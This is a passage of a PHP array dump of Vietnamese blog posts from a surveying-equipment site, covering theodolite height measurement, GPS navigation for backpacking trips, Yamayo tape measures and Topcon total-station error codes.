0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7486 aligncenter" height="38" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi7.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="246" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính số gia tọa độ của cạnh BT.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="wp-image-7487 aligncenter" height="41" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi8.png" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="160" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính tọa độ cho điểm T:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: center;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="ung dung may kinh vi" class="alignnone wp-image-7488" height="54" sizes="(max-width: 159px) 100vw, 159px" src="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png" srcset="http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-115x39.png 115w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9-150x51.png 150w, http://tracdiapro.com/wp-content/uploads/2016/01/ung-dung-may-kinh-vi9.png 209w" style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto;" width="159" /></a></span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102);">V. Đo chiều cao công trình</strong></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Để xác định chiều cao của một công trình ta làm như sau:</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Đặt máy tại một điểm bất kỳ sao cho khi đặt máy trên điểm này có thể nhìn thấy đỉnh và chân công trình.</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Dựng mia ở chân công trình và xác định khoảng cách ngang từ máy đến mia (D).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính lên đỉnh công trình rồi đọc giá trị góc đứng (V1).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Ngắm ống kính xuống chân công trình rồi đọc giá trị góc đứng (V2).</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">– Tính chiều cao công trình (H) theo công thức:</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H =</i> <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H</i>1+ <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>2</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trong đó: <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">H </i>1 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>1</span><br style="box-sizing: border-box; margin: 0px 0px 5px; padding: 0px;" /> <span style="box-sizing: border-box; margin: 0px; padding: 0px;"><i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;"> H </i>2 = <i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">D </i>.<i style="box-sizing: border-box; margin: 0px; padding: 0px; letter-spacing: 0.5px;">tg V </i>2</span></span></span></p> ', 'images' => '201709110746070417e9099f0268338ae9b8a49d21ba31.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-09-11', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71057', 'slug' => 'mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '861', 'rght' => '862', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 2 => array( 'Post' => array( 'id' => '492', 'name' => 'Những cách định vị đường đi cho dân phượt', 'code' => null, 'alias' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(17, 17, 17); font-weight: bold; text-align: justify;">Ngày nay, giới trẻ thích du lịch “phượt” thay vì đi theo tour. Việc định vị đường đi cho chuyến phượt thuận lợi được thực hiện bằng cách nào? Hãy cùng nhau tìm hiểu những cách định vị đường đi nhé!</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Định vị đường đi sẽ là việc đầu tiên mà chúng ta thực hiện khi chuẩn bị cho một chuyến phượt đến một nơi mà ta chưa bao giờ đặt chân tới. Và bạn thực hiện điều đó bằng cách nào?</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">1. Sử dụng bản đồ truyền thống (bản đồ trên giấy):</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cách này dành cho những người khá “cổ điển” do bản đồ giấy đang trở nên lỗi thời.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Bạn sẽ phải thường xuyên mở bản đồ ra và dò xem mình đã đi tới đâu, bản đồ có thể sẽ bị rách, hư nếu bạn xem dưới thời tiết xấu và bản đồ giấy không thể giúp ta biết được chính xác vị trí mình đang đứng.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="448" src="http://dathop.com.vn/file/1502182605-HCM%20Map.ashx.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="440" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">2. Sử dụng các ứng dụng định vị dẫn đường trên smartphone:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tất cả các smartphone ngày nay đều được tích hợp với hệ thống định vị GPS, hệ thống định vị toàn cầu, đó chính là chìa khóa trong việc giúp người sử dụng có thể định vị đường đi chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="308" src="http://dathop.com.vn/file/1502182663-loi-khuyen-su-dung-may-dinh-vi-gps.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="485" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ta chỉ cần định vị điểm đến mà chúng ta muốn, ứng dụng chỉ đường trong smartphone sẽ định vị đường đi từ vị trí mà chúng ta đang đứng đến điểm đến một cách chính xác.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Đây là cách phổ biến, nhưng điểm yếu là vùng phủ sóng bị hạn chế bởi nhà cung cấp mạng smartphone.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong style="margin: 0px auto; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">3. Sử dụng máy định vị GPS cầm tay:</strong></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img alt="" height="331" src="http://dathop.com.vn/file/1502182829-264962.jpg" style="margin: 0px auto; border: none; max-width: 100%; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; display: block;" width="498" /></span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cũng như các ứng dụng định vị dẫn đường trên smartphone, máy định vị GPS cầm tay cũng sử dụng hệ thống định vị toàn cầu GPS, hiển thị màn hình màu, nhưng nó còn có những đặc điểm nỗi trội hơn hẵn mà các phượt thủ không nên bỏ qua:</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Độ bền: máy định vị GPS cầm tay để chế tạo để sử dụng nơi hoang dã. Không như smartphone, hầu hết các máy định vị GPS cầm tay đều có khả năng chống thấm IPX7 như <a href="http://dathop.com.vn/post/dac-diem-noi-troi-cua-may-gpsmap-78-78s.html" style="margin: 0px auto; text-decoration-line: none; color: rgb(51, 51, 51); background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;">Garmin GPS MAP 78/78s</a> nên nước mưa không phải là vấn đề đáng ngại.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tuổi thọ pin: máy định vị GPS cầm tay có thể hoạt động trong hơn 15 giờ sau mỗi lần sạc. Hầu hết máy định vị GPS loại này đều sử dụng pin AA đi kèm với máy, có thể lựa chọn pin sạc hay pin Lithium để kéo dài thời gian hoạt động. Còn với smartphone, bạn bị giới hạn ở nguồn sạc trên xe hơi hay sạc tường.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Vùng phủ sóng: Tất cả những gì mà máy định vị GPS cần để xác định chính xác vị trí của bạn là một nơi có thể thấy rõ bầu trời, không bị giới hạn bởi vùng phủ sóng như điện thoại di động.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tính năng: máy định vị GPS cầm tay được tích hợp một khí áp kế để theo dõi sự thay đổi của điều kiện thời tiết, một la bàn điện tử để định hướng và một cao độ/khí áp kế để xác định cao độ nơi bạn đang đứng so với mặt nước biển. Ngoài ra còn có thể ghi lại điểm đã đi, tránh lạc đường nhờ chức năng tracklog.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Lập bản đồ: máy định vị GPS không cần phải kết nối dữ liệu điện thoại di động để tải bản đồ, vì bản đồ đã được tải sẵn trong thiết bị này.</span></span></p> <p style="margin: 0px auto; padding: 5px 0px; text-align: justify; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Tính tới thời điểm hiện tại thì việc sử dụng thiết bị định vị GPS cầm tay sẽ là một lựa chọn tối ưu nhất cho các phượt thủ của chúng ta. </span></span></p> ', 'images' => '20170822084111b76542c2d4df05b5c7e4ccab538fe8c0.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '77229', 'slug' => 'nhung-cach-dinh-vi-duong-di-cho-dan-phuot', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '859', 'rght' => '860', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '491', 'name' => 'Thước dây Yamayo', 'code' => null, 'alias' => 'thuoc-day-yamayo', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><strong>Thước dây là thiết bị đo đạc vô cùng quen thuộc trong mọi công trình cũng như trong cuộc sống thường ngày. Tuy nhiên, trong điều kiện khác nhau nên sử dụng loại thước chuyên biệt để đáp ứng độ chính xác cao, nhất là trong điều kiện ẩm thấp sẽ giảm chất lượng đi rất nhiều.</strong></span></span>', 'content' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Kể từ khi thành lập vào năm 1906, công ty Yamayo Measuring Tools, Ltd luôn cho ra đời những thiết bị đo lường tin cậy và không ngừng cải tiến công nghệ để đảm bảo độ chính xác cao nhất trong điều kiện môi trường khắc nghiệt nhất.<br /> Hiện nay, Yamayo là một trong những nhà sản xuất lớn nhất và hàng đầu trong lĩnh vực đo lường tại Nhật Bản và đã được công nhận đặt nhãn JIS (cấp 1) cho mỗi sản phẩm theo tiêu chuẩn Quy chuẩn Công nghiệp Nhật Bản do Chính phủ quy định.<br /> Với nhiều năm kinh nghiệm tích lũy và lao động có tay nghề cao, Yamayo sản xuất những dòng sản phẩm được thiết kế tinh xảo, chất lượng cao dưới sự kiểm soát nghiêm ngặt.<br /> Tùy tính chất công việc cũng như điều kiện sử dụng mà Yamayo cho ra đời nhiều dòng thước dây khác nhau, đáp ứng độ chính xác cao cũng như đồ bền dài lâu.<br /> Thước dây Yamayo không đơn thuần là loại thước dây dùng trong đo đạc mà là loại thước với có nhiều đặc tính riêng biệt khác nhau. Trong môi trường luôn ẩm thấp, khắc nghiệt thì các loại thước thông thường sẽ nhanh chóng bị rỉ sét hoặc co dãn làm giảm độ chính xác mong muốn </span></span><span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px; white-space: pre-wrap;">nhưng thước dây sợi thủy tinh OTR Yamayo sẽ khắc phục mọi yếu tố bất lợi, giúp bạn đo đạc trong công trình xây dựng, đường ống nước, dây điện hay trong giao thông,... một cách dễ dàng và chính xác hơn.</span><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/Thuoc thep Yamayo.jpg" /><br /> <strong>Ưu điểm:</strong><br /> - Ít nhạy cảm, thân thiện với môi trường khi sử dụng.<br /> - Là loại thước sợi thuỷ tinh với lớp phủ PVC MILLION.<br /> - Lõi tổng hợp các sợi thủy tinh --> chống điện, chịu nhiệt cao, chống nước.<br /> <strong>ĐẶC ĐIỂM NỔI BẬT</strong><br /> · Là sản phẩm đến từ thương hiệu Yamayo của Nhật, được các nhà thầu tin dùng.<br /> · Thước làm từ sợi thủy tinh mang lại tính mềm dẻo, uyển chuyển, dễ dàng sử dụng.<br /> · Mặt thước được in ấn các chi tiết rõ ràng, giúp đọc số dễ dàng.<br /> · Sử dụng đo đạc với nhiều mục đích khác nhau với chiều dài dải đo lên đến 30m, 50m, 100m.<br /> · Thân thước gọn nhẹ dễ dàng mang theo bên mình.</span></span>', 'images' => '20170822082652b877c34c37d3ab54dcabe110b6a67214.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2017-08-22', 'modified' => '2025-08-10', 'status' => '1', 'view' => '71691', 'slug' => 'thuoc-day-yamayo', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '857', 'rght' => '858', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '490', 'name' => 'Những lỗi thường gặp khi sử dụng máy toàn đạc điện tử', 'code' => null, 'alias' => 'nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="color: rgb(29, 33, 41); font-family: Helvetica, Arial, sans-serif; font-size: 14px;">Máy toàn đạc điện tử là một thiết bị đo đạc yêu cầu độ chính xác tuyệt đối nhằm đảm bảo yếu tố kỹ thuật chính xác trong quá trình xây dựng công trình, cầu đường, vẽ bản đồ, thăm dò địa chất…Những lỗi thường gặp trong quá trình sử dụng máy toàn đạc điện tử bạn nên biết.</span>', 'content' => '<p style="margin: 0px 0px 6px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <strong>Những lỗi thường gặp khi sử dụng máy toàn đạc Topcon và Sokkia mà bạn cần biết!</strong></p> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <br /> <strong>* Máy toàn đạc Topcon:</strong><br /> <br /> - V Angle Error: Khi khởi động trên màn hình sẽ hiển thị “V Angle Error” hoặc số đọc góc đứng chỉ thay đổi trong một khoảng nào đó rồi đứng yên (bị treo) nhưng màn hình không hiển thị lỗi, tiếp tục quay ống kính thì góc thay đổi trở lại bình thường nhưng máy sẽ bị sai số MO rất lớn.<br /> - H Angle Error: Khi khởi động trên màn hình sẽ hiển thị “H <span class="text_exposed_show" style="display: inline; font-family: inherit;">Angle Error”, hoặc quay thân máy đến một vị trí nào đó thì số đọc góc ngang không thay đổi và máy bị treo.<br /> - Tilt Over: Lỗi này thông báo máy chưa được cân bằng. Nếu máy đã cân bằng rồi nhưng lỗi này vẫn xuất hiện là do lỗi của hệ thống bù nghiêng điện tử.<br /> - E61, E68, E69: lỗi này xuất hiện khi có sự bất thường xảy ra ở hệ thống đo cạnh, phần lớn xảy ra ở mạch xử lý đo cạnh. Trong một số trường hợp máy không xuất hiện lỗi này nhưng máy đo cạnh cho kết quả sai số lớn so với thực tế (số ảo).<br 